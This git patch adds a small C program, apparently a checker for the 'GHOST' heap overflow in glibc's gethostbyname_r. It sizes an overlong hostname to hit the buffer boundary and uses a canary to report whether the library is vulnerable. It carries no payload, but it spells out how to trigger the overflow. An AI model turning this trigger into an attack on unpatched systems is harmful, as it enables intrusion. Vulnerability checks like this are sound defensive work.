From a5cd7639d102417957eecd9b8342b212b25537c6 Mon Sep 17 00:00:00 2001
From: Brock <you@example.com>
Date: Wed, 28 Jan 2015 14:23:03 +0800
Subject: [PATCH] ghost

---
 exp/ghost.c | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)
 create mode 100644 exp/ghost.c

diff --git a/exp/ghost.c b/exp/ghost.c
new file mode 100644
index 0000000..af45ec0
--- /dev/null
+++ b/exp/ghost.c
@@ -0,0 +1,33 @@
+#include <netdb.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <gnu/libc-version.h>
+#define CANARY "in_the_coal_mine"
+struct {
+char buffer[1024];
+char canary[sizeof(CANARY)];
+} temp = { "buffer", CANARY };
+int main(void) {
+struct hostent resbuf;
+struct hostent *result;
+int herrno;
+int retval;
+/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
+size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
+char name[sizeof(temp.buffer)];
+memset(name, '0', len);
+name[len] = '\0';
+retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
+if (strcmp(temp.canary, CANARY) != 0) {
+puts("vulnerable");
+exit(EXIT_SUCCESS);
+}
+if (retval == ERANGE) {
+puts("not vulnerable");
+exit(EXIT_SUCCESS);
+}
+puts("should not happen");
+exit(EXIT_FAILURE);
+}